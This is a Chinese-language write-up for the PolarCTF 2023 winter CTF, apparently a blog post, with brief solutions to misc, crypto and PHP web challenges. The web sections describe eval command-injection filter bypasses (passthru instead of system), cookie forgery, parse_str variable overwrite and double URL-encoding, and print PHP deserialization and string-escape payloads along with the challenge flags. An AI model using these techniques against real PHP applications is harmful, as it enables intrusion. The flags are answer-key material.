cyi polarctf2023冬季个人挑战赛WriteUp

 

216fe58619c3bf75ba3c681baf9383e

PolarCTF网络安全2023冬季个人挑战赛

WRITE UP

参赛人员:

楚颖i

PolarCTF网络安全个人挑战赛组委会 制

 

 

目录

第一部分:MISC 1

1-1 签到喵 1

1-4 机密 4

第二部分:CRYPTO 7

2-5 base 11

第三部分:WEB 13

3-1 cool 13

3-2 cookie欺骗 14

3-4 干正则 16

3-7 随机值 19

3-8 phpurl 20

3-10 你想逃也逃不掉 22

第一部分:MISC

1-1 签到喵

本题思路如下:

Flag.txt

兽音译者解密

跑脚本,扫一扫,发送,拿下flag{www.PolarCTF.com}

 

1-4 机密

本题思路如下:

经典搜flag起手

追踪流,发现有个rar文件,找

提取rar文件,爆破一下

flag{d72e5a671aa50fa5f400e5d10eedeaa5}

 

 

第二部分:CRYPTO

 

 

2-5 base

本题思路如下:

见过类似题

 

 

第三部分:WEB

3-1 cool

本题思路如下:

eval命令执行,过滤system,用passthru,先ls,看到当前目录有flag.php,命令执行*匹配

flag{4512esfgsdIirhgui82545er4g5e5rg4er1}

3-2 cookie欺骗

本题思路如下:

没啥好说,cookie伪造

 

3-4 干正则

本题思路如下:

审计源码,有个parse_str变量覆盖,之后就是命令执行

经典ctrl u

 

www.polarctf.com<pre><?php

 

$flag = "flag{e44882416c9fa79cc5a6a51e6e19cdbc}";

 

?>

 

</pre>

 

 

3-7 随机值

本题思路如下:

审计发现只要反序列化出的变量和服务器rand函数后的值一样,过两层rand,原本是想着服务器的rand可能每次随机都是那个值,当在自己phpstorm执行发现好像不一样,就想着bp抓包后一直爆同一个随机数,迟早能出来,然后先在phpstorm中先开成员变量权限,输出反序列化字符串,结果无缘无故就结束了。

<?php
class Index{
// private $Polar1;
// private $Polar2;
// protected $Night;
// protected $Light;
public $Polar1;
public $Polar2;
public $Night;
public $Light;


function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}

$a = new Index();
$a->Polar1=1;
$a->Night=1;
echo serialize($a);

Payload:sys=O:5:"Index":4:{s:6:"Polar1";i:1;s:6:"Polar2";N;s:5:"Night";i:1;s:5:"Light";N;}

flag{d81f9c1be2e08964bf9f24b15f0e4900}

3-8 phpurl

本题思路如下:

给的1.txt

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。

题目是phpurl,phps是php的源码

审计源码,刚开始想着用0弱类型比较,发现出不来,不知道为什么。有个urldecode,可以二次编码绕过,在进入第一个xxs匹配时被服务器url解码一次,之后再解码一次成xxs

Welcome to polar LABS!

Flag: flag{5caecd63b7dca4bcee15d262eb3af4f4}

what can you find?

 

 

3-10 你想逃也逃不掉

本题思路如下:

经典字符串逃逸,变少例子

<?php

class u{
public $username;
public $passwd;
public $sign;
}

error_reporting(0);
highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
//$user['username'] = $_POST['name'];
//$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';



$user = new u();
$user->username='phtmlphtmlphtmlphtml';
$user->passwd=';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';
$user->sign="123456";
$ans = filter(serialize($user));
//if(unserialize($ans)[sign] == "ytyyds"){
// echo file_get_contents('flag.php');
//}
echo serialize($user);
echo $ans;
echo '<br/>';
echo strlen('";s:6:"passwd";s:46:');

Ctrl u

<?php

 

$flag = 'flag{84sgsg4s5d4e5fse3kj5451dssgsfd45}';

 

?>

 

posted @ 2024-01-25 23:07  ^cyi^  阅读(49)  评论(0编辑  收藏  举报